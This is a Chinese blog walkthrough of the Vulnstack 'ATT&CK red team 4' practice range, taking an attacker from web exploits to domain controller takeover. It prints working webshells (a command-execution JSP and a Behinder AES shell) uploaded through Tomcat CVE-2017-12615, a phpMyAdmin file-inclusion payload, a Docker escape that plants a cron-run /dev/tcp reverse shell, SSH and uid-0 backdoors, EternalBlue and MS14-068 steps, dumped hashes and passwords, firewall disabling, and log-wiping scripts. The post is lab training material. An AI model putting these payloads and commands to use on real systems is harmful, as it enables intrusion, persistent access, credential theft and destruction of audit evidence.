ATT&CK实战系列—红队实战-4

最新推荐文章于 2023-12-29 16:22:58 发布
最新推荐文章于 2023-12-29 16:22:58 发布
阅读量1.4k 收藏 3
点赞数 1
分类专栏： 靶场记录
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_42918771/article/details/116207505
版权

0、靶场介绍

靶场下载、配置参考：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/
靶场配置后需要自行开启 vulhub 里面的三个漏洞。
在这里插入图片描述在这里插入图片描述

1、信息收集

在这里插入图片描述

2、漏洞分析

该阶段为漏洞挖掘、漏洞扫描、漏洞验证

2.1 struts2 漏洞

struts2 漏洞检查工具：
https://github.com/HatBoy/Struts2-Scan
https://github.com/shack2/Struts2VulsTools
https://github.com/x51/STS2G

在这里插入图片描述

Vulmap 是一款 web 漏洞扫描和验证工具
https://github.com/zhzyker/vulmap

在这里插入图片描述

2.2 tomcat 漏洞

Vulmap 是一款 web 漏洞扫描和验证工具
https://github.com/zhzyker/vulmap

在这里插入图片描述Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）

PUT /1.jsp/ HTTP/1.1
Host: 192.168.157.128:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 666

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp  
    +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

在这里插入图片描述
漏洞验证存在该漏洞，下步可以上传冰蝎马等
在这里插入图片描述

2.3 phpmyadmin 漏洞

phpmyadmin 未授权
在这里插入图片描述
phpmyadmin 4.8.1 远程文件包含漏洞

漏洞影响
phpMyAdmin 4.8.0和4.8.1受到影响。

漏洞利用
利用条件：需要账号密码或者config模式

利用payload：
访问http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd，可见/etc/passwd被读取

在这里插入图片描述

3、漏洞利用

3.1 struts2-45 漏洞 getshell

利用工具上传冰蝎马：
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

在这里插入图片描述在这里插入图片描述

3.2 Tomcat PUT方法任意写文件漏洞（CVE-2017-12615）getshell

PUT /shell.jsp/ HTTP/1.1
Host: 192.168.157.128:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 666

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";
/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>

在这里插入图片描述在这里插入图片描述

3.3 phpmyadmin 4.8.1 远程文件包含漏洞 getshell

访问，可见/etc/passwd被读取，说明存在该漏洞。
http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在这里插入图片描述

3.4 docker 逃逸

1、判断是否为docker 环境

1、使用下面命令，查看是否存在 dockerrnv 文件
ls -alh /.dockerenv

2、查看系统进程的cgroup信息
cat /proc/1/cgroup

在这里插入图片描述
2、挂载宿主机
当docker容器内拥有宿主机文件读写权限时，可以通过写ssh密钥、计划任务等方式达到逃逸。

查看磁盘文件: fdisk -l
新建目录以备挂载: mkdir /test
将宿主机/dev/sda1 目录挂载至容器内 /test: mount /dev/sda1 /test
即可写文件获取权限或数据

在这里插入图片描述
3、写入一个反弹 shell 脚本：

touch /test/tmp/test.sh
chmod +x /test/tmp/test.sh
ls -ll /test/tmp/test.sh
echo "#!/bin/bash" >> /test/tmp/test.sh
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.136/13122 0>&1"  >> /test/tmp/test.sh
或者
sed -i '$a\/bin/bash -i  >&  bash -i >& /dev/tcp/192.168.157.136/13122 0>&1' /test/tmp/test.sh

cat /test/tmp/test.sh

在这里插入图片描述
4、写入任务计划

sed -i '$a*/2 *    * * *    root  bash /tmp/test.sh ' /test/etc/crontab
cat /test/etc/crontab

在这里插入图片描述
5、攻击机监听端口获取shell，逃逸成功

nc -lvvp 13122

在这里插入图片描述

4、权限提升

在docker 逃逸过程中，使用crontab 提权到root 权限：
在这里插入图片描述

5、权限维持

5.1 SSH 软连接后门

软连接后门的原理是利用了PAM配置文件的作用，将sshd文件软连接名称设置为su，这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息（su），然而su在pam_rootok只检测uid 0即可认证成功，这样就导致了可以使用任意密码登录。

ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=888

在这里插入图片描述然后输入任意密码即可登录
在这里插入图片描述

5.2 添加 uid 0 用户后门

useradd -p `openssl passwd 123456`  -o -u 0 hacker

在这里插入图片描述

6、横向渗透

6.1 搭建socks 代理

1、使用ew 开启一个正向代理

EW正向代理：
Web服务器的设置

如果是Linux系统
./ew_for_linux64 -s ssocksd -l 2080  #监听本地的1080端口
 
如果是Windows系统
ew_for_Win.exe -s ssocksd -l 2080   #监听本地的1080端口

主机的设置

如果是Linux系统，配置proxychains代理链的配置文件，将代理设置成 100.100.10.12的1080端口：socks5 100.100.10.12 1080 
然后命令前面加上 proxychains即可。如：proxychains curl 192.168.10.19
 
如果是Windows系统，直接浏览器中设置代理为 web_ip 的1080端口，或者利用  Proxifier 、sockscap64 设置全局代理

在这里插入图片描述在这里插入图片描述2、使用chisel 搭建一个代理

服务端：
./chisel_linux64 server -p 2080 --socks5

在这里插入图片描述

攻击端：
./chisel_linux64 client 192.168.157.128:2080 socks

在这里插入图片描述在这里插入图片描述

6.2 内网信息收集

  • 本机信息收集
id                  查看当前用户的权限和所在的管理组
uname -a            查看linux版本内核信息
cat /proc/version   查看内核信息
cat /etc/*release   查看linux发行信息
dpkg -l             查看安装的包
crontab -l          是否有计划任务
/sbin/ifconfig -a   查看ip地址等
cat /etc/passwd     普通用户可以查看用户的信息
cat /etc/shadow     账号密码信息
cat /root/.mysql_history 查看mysql历史操作
cat /root/.bash_history 查看用户指令历史记录
find / -perm -u=s -type f 2>/dev/null        匹配高权限的文件，看是否有利用点
  • 内网主机存活
for k in $( seq 1 255);do ping -c 1 192.168.183.$k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

在这里插入图片描述

  • 端口服务探测
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.129
proxychains4 nmap -Pn -sT -T4 -p21,22,135,445,80,53,3389,8080,1433,8080 192.168.183.130

在这里插入图片描述在这里插入图片描述

auxiliary/scanner/smb/smb_version

在这里插入图片描述

6.3 横向渗透–域成员

使用ms17-010 拿下域成员
exploit/windows/smb/ms17_010_eternalblue

在这里插入图片描述在这里插入图片描述

net user hacker hack@123456 /add
net user localgroup administrators hacker /add

在这里插入图片描述

开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

在这里插入图片描述

6.4 横向渗透–域控

  • 切换域内用户

在这里插入图片描述

  • 域内基础信息收集
查看域名	
Net config workstation  
Ipconfig /all

查看几个域	
Net view /domain

查看是否是域名主机	
Net time /domain

查看域内主机	
Net user /domain

查看域控	
Net group “domain controllers“ /domain

查看域管理员	
Net group “domain admins” /domain

在这里插入图片描述查看域控
在这里插入图片描述
获取sid

demo\douser S-1-5-21-979886063-1111900045-1414766810-1107

返回system权限 ，dump 账号密码和hash 值
在这里插入图片描述在这里插入图片描述

TESTWIN7-PC$  DEMO         e3ba914bdaca29c197c7191ebf521873  68a1422322c303e4c24d63f381a03b34eb434477
douser        DEMO         bc23b0b4d5bf5ff42bc61fb62e13886e  c48096437367aad00ac2dc70552051cd84912a55

douser        DEMO         Dotest123

ms14-068 获取 域控

利用ms14-068生成票据：
MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

在这里插入图片描述
mimikztz 注入票据：

mimikatz # Kerberos::ptc c:\\Users\douser\Desktop\TGT_douser@demo.com.ccache

在这里插入图片描述
获取域控权限：

dir \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述
生产一个正向连接payload:

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8989 -f exe-service -o /var/www/html/360.exe

在这里插入图片描述
将 payload 上传到跳板机：
在这里插入图片描述
关闭域控防火墙，将payload复制到域控：

sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off"
复制命令：
xcopy 360.exe  \\WIN-ENS2VR5TR3N\c$

在这里插入图片描述在这里插入图片描述

创建服务成功，开启防火墙，运行 payload
sc \\WIN-ENS2VR5TR3N create Startup binpath= "C:\360.exe"
sc \\WIN-ENS2VR5TR3N start ProFirewall
sc \\WIN-ENS2VR5TR3N start Startup

在这里插入图片描述
设置监听，获取shell
在这里插入图片描述在这里插入图片描述
获取账号密码
在这里插入图片描述在这里插入图片描述

开启3389
run post/windows/manage/enable_rdp
或者
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

在这里插入图片描述

7、痕迹清理

7.1 Linux

清除命令历史记录
histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录
在隐蔽的位置执行命令
使用vim打开文件执行命令

:set history=0
:!command

linux日志文件
/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息
完全删除日志文件：

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename
针对性删除日志文件：

删除当天日志
sed  -i '/当天日期/'d  filename

一键清除脚本：
#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

7.2 windows

1.查看事件日志
run event_manager -i
2.删除事件日志
run event_manager -c
3.clearv命令清除目标系统的事件日志。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

BeretSEC
关注
  • 1
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ATT&CK实战系列——红队实战(—)
lza20001103的博客
07-17 1307
ATT&CK实战系列——红队实战(—)
ATT&CK实战系列-红队评估（四）WP
h1nt的博客
08-25 734
环境准备 0x01 网络环境 我们总共拿到了3台机器，除了WEB机器需要配置双网卡外，其他的机器都只配置183网段的内网网卡即可。 0x02 WEB服务 在官网给出了参考的学习路径，故我们启动前三个进行WEB服务的搭建 Struts2漏洞（S2-053） pma文件包含漏洞（CVE-2018-12613） tomcat PUT文件上传漏洞（CVE-2017-12615）： 启动完成后，相应靶机的地址如下 渗透流程 0x01 Struts2 使用工具进行检测 根据得到
完全模拟ATT&CK实战靶场之四
tangshuangsss的专栏
04-15 283
点击"仙网攻城狮”关注我们哦~不当想研发的渗透人不是好运维让我们每天进步一点点简介红队实战系列，主要以真实企业环境为实例搭建一系列靶场，通过练习、视频教程、博客三位一体学习。另外本...
ATT&CK 红队实战4
m0_64118193的博客
10-28 633
Tomcat CVE-2017-12615 s2-045 RCE 远程代码执行漏洞 phpmyadmin CVE-2018-12613
红日安全vulnstack-ATT&CK实战系列 红队实战(四)
遇事不决冲冲冲
03-29 8399
一.介绍 下载地址http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ st漏洞利用phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、 域渗透 机器密码 web: ubuntu:ubuntu win7: douser:Dotest123 DC: administrator:Test2008 二.环境搭建 下载完成后为三个压缩包，解压后如图 在每个文件夹中创建
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
05-27
(14条消息) 红日安全vulnstack-ATT&CK实战系列 红队实战(一)_Ys3ter的博客-CSDN博客.html
MITRE ATT&CK实践入门1
08-04
高级阶段，结合MITRE ATT&CK的缓解措施，实现实战化评估，提高整体防御能力。 相关资源包括网络分析库如CAR、EQL、Sigma，威胁猎手战术手册，原子红队，检测实验室，以及MITRE提供的各种检测和缓解工具清单，这些都...
关于如何建立企业内部的ATT&CK的介绍说明.zip
11-07
4. **映射现有安全控制**：将企业的安全措施与ATT&CK框架中的各个阶段和技术相对应，找出安全控制的空白。 5. **实施监控**：部署日志记录和分析工具，以便实时检测与ATT&CK框架相关的活动。例如，入侵检测系统...
mitre-getting-started-with-attack-october-2019.pdf
11-03
对手模拟和红队测试是利用ATT&CK框架进行实战演练的方法，以评估防御系统的有效性。通过模仿真实攻击者的战术和技术，红队能够找出安全控制的弱点，并为改善防御提供有价值的反馈。这一过程对于提高组织的应对能力和...
ATT&CK(四)
wanan的博客
01-26 595
ATT&CK(四)
ATT&CK红队评估（红日靶场四）
weixin_45682839的博客
04-28 5442
ATT&CK红队评估（红日靶场四）通关攻略，涉及知识包括： Struts2漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、ms17_010、docker逃逸、ms14_068、ssh密钥利用、流量转发、横向移动、内网渗透等。
ATT&CK实战系列——红队实战(四)
5L2g556F5ZWl77yf
08-13 2205
文章目录环境搭建官方描述信息收集与利用struts2Tomcatphpmyadmindocker 逃逸 环境搭建 http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ 官方描述 大家好红日安全红队靶场（四）已经出来，本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞，希望大家多多利用。 红队评估四靶场描述 第一次搭建靶机，如有啥不足或问题，欢迎各位师傅在vlunstack微信群里提出，向师傅们学习 靶
红日靶场四
qq_50696533的博客
12-29 3440
红日靶场4大家好红日安全红队靶场（四）已经出来，本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞，希望大家多多利用。靶场学习路径，可参考 struts2 漏洞利用 tomcat 漏洞利用 phpmyadmin getshell docker逃逸 ms14-068 ssh密钥利用 流量转发 历史命令信息泄露 域渗透。利用永恒之蓝获得win7 mimikatz抓取密码 利用Kerberos 域用户提权漏洞获得域
红日靶场第四关
红队是青春
12-02 3461
红日靶场第四关 一、环境配置 大家好红日安全红队靶场（四）已经出来，本次靶场渗透反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。 靶场学习路径，可参考 st漏洞利用 phpmyadmin getshell tomcat 漏洞利用 docker逃逸 ms14-068 ssh密钥利用 流量转发 历史命令信息泄露 域渗透 WEB-Ubuntu docker开启 sudo docker
ATT&CK靶场系列（四）
qq_1873822的博客
11-30 3942
一、环境配置 vlunstack是红日安全团队出品的一个实战环境，具体介绍请访问：http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ 拓扑结构
红日安全ATT＆CK靶机实战系列之vulnstack4
黑白的博客
04-25 8097
声明 好好学习，天天向上 环境配置 下载地址，直接进去用百度云，没有会员也下的非常快 http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ 边下载着，可以开始vmware的网络配置 有两个网段，外网网段是我自己设置的桥接模式192.168.31.1/24，内网网段，vmware加一个网卡VMnet3，192.168.183.1/24 和前面的大同小异，我这里就不细说了看过系列文章的应该都已经很清楚这种网络结构了，我直接贴图吧 桥接的就是攻击机与边界服务器的网卡
内网渗透之Vulnstack4靶场的全方位打法
最新发布
xf555er的博客
12-29 1553
MS14-068是一个著名的Windows Kerberos安全漏洞，允许攻击者篡改Kerberos票据，从而获取非法提权。这个漏洞特别影响Windows域控制器，能让攻击者伪造Kerberos票据，获取域内几乎任意账户的权限，包括域管理员权限。这使得攻击者可以在网络中随意访问和控制资源。
vulnstack4渗透-外网篇
weixin_51441054的博客
04-20 3086
环境搭建 靶机：ubuntu:ubuntu(web服务器 网卡1:192.168.142.139(模拟外网) 网卡2:192.168.183.130（内网）) 域成员机器：douser:Dotest123(192.168.183.128)win7 DC:administrator:admin123,.(192.168.183.130)windowsserver2008 kali攻击机：192.168.142.134（模拟外网） 先对web靶机进行信息收集 发现一个ssh服...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值